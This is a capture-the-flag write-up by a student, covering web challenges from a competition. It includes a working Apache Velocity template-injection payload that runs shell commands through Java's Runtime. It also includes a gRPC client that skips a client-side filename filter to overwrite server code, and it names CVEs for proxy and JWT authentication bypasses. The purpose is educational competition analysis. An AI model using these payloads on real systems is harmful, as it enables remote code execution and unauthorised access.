‘Twas the night before Midterms, when all through the house
Not a creature was stirring, not even a mouse;
The challenges were solved by the players with care
That they won’t throw their midterms, and pass by a hair;
This CTF happened during my midterms and I didn’t really have the luxury of time to look at some of the later challenges. I participated under team youtiaos, and we ended 97th place out of 5694 teams.
Lightning Round
TimeKORP - Trivial command injection in format parameter
KORP terminal - SQLmap + bcrypt hash cracking
Labrinth Linguist
We’re given a Java application using the Apache Velocity templating engine. We have user controlled input via textString
that we can inject Velocity templates into.
t.setData(runtimeServices.parse(reader, "home"));
t.initDocument();
VelocityContext context = new VelocityContext();
context.put("name", "World");
StringWriter writer = new StringWriter();
t.merge(context, writer);
template = writer.toString();
context.put("name", "World");
is the key here. Exclusion of this line would make RCE a lot harder, but since we have this object in our context we can simply access the Java Class
object through .getClass()
. We can therefore inject:
#set($str=$name.getClass().forName("java.lang.String"))
#set($chr=$name.getClass().forName("java.lang.Character"))
#set($ex=$name.getClass().forName("java.lang.Runtime").getRuntime().exec("cat ../flag.txt"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
to read the flag.
LockTalk
We’re given a Flask application through HAProxy. The flag is accessible through /flag
:
@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
return jsonify({'message': current_app.config.get('FLAG')}), 200
The authorize_roles
decorator is as shown:
def authorize_roles(roles):
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
token = request.headers.get('Authorization')
if not token:
return jsonify({'message': 'JWT token is missing or invalid.'}), 401
try:
token = jwt.verify_jwt(token, current_app.config.get('JWT_SECRET_KEY'), ['PS256'])
user_role = token[1]['role']
if user_role not in roles:
return jsonify({'message': f'{user_role} user does not have the required authorization to access the resource.'}), 403
return func(*args, **kwargs)
except Exception as e:
return jsonify({'message': 'JWT token verification failed.', 'error': str(e)}), 401
return wrapper
return decorator
There are two things in our way.
Firstly, HAProxy here acts as a firewall and prevents all requests to the API.
frontend haproxy
bind 0.0.0.0:1337
default_backend backend
http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }
Looking at the dockerfile however, we can see that a specific version of HAProxy is being used:
RUN wget https://www.haproxy.org/download/2.8/src/haproxy-2.8.1.tar.gz
Simply using CVE-2023-45539 will allow us to bypass the firewall.
Second is the JWT verification. Unfortunately, looking at requirements.txt
, they’re install a specific version of python_jwt:
python_jwt==3.3.3
Using CVE-2022-39227 will allow us to bypass authentication and masquerade as an administrator.
Testimonial
We’re given a golang application with file upload using gRPC. Flag is in the root directory. Both the application and the gRPC Ricky server are exposed. Air is used to live-reload the application.
Intuitively, if the file upload is insecure, we can overwrite an application file with a malicious script that reads the flag file and reload the application to reflect our changes.
The client filters the uploaded file name on the client:
func (c *Client) SendTestimonial(customer, testimonial string) error {
ctx := context.Background()
// Filter bad characters.
for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
customer = strings.ReplaceAll(customer, char, "")
}
_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
return err
}
We can easily bypass the check by communicating directly with the gRPC server.
package main
import (
"context"
"fmt"
"sol/pb"
"log"
"os"
"google.golang.org/grpc"
)
func main() {
serverAddr := "grpcserver:port"
conn, err := grpc.Dial(serverAddr, grpc.WithInsecure())
if err != nil {
log.Fatalf("Failed to connect: %v", err)
}
defer conn.Close()
client := pb.NewRickyServiceClient(conn)
customer := "uploaded_filename"
fileContent, err := os.ReadFile("local_copy_of_file")
if err != nil {
fmt.Printf("Error reading file: %v\n", err)
return
}
testimonial := string(fileContent)
err = sendTestimonial(client, customer, testimonial)
if err != nil {
log.Fatalf("Failed to send: %v", err)
}
fmt.Println("Win")
}
func sendTestimonial(client pb.RickyServiceClient, customer, testimonial string) error {
ctx := context.Background()
_, err := client.SubmitTestimonial(ctx, &pb.TestimonialSubmission{
Customer: customer,
Testimonial: testimonial,
})
return err
}
We can iteratively search for a useful file we have permissions to overwrite, and home.go serves that purpose.
func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
customer := r.URL.Query().Get("customer")
testimonial := ""
files, err := ioutil.ReadDir("/")
if err != nil {
testimonial = "Error reading root directory"
}
if testimonial == "" {
for _, file := range files {
if filepath.Ext(file.Name()) == ".txt" {
content, err := ioutil.ReadFile(filepath.Join("/", file.Name()))
if err != nil {
fmt.Printf("Error reading file %s: %v\n", file.Name(), err)
continue
}
testimonial += string(content)
}
}
}
if customer != "" && testimonial != "" {
c, err := client.GetClient()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
}
if err := c.SendTestimonial(customer, testimonial); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
}
}
return home.Index().Render(r.Context(), w)
}
We now need to reload the application and submit a new testimonial, thereby calling the malicious home handler. Looking at air.toml
:
include_ext = ["tpl", "tmpl", "templ", "html"]
All we need to do is create a new file with one of these extensions and we can retrieve the flag.
SerialFlow
I had no time to solve this one, but I took a quick look at the challenge. It uses a vulnerable version of py-memcached
to store the session cookie, which uses unsafe pickle deserialization methods. I tried a few encoding methods to upload a simple payload during the last few hours of the CTF, but none of them worked.
After the CTF, I read a few writeups and apparently octal works. Unfortunate.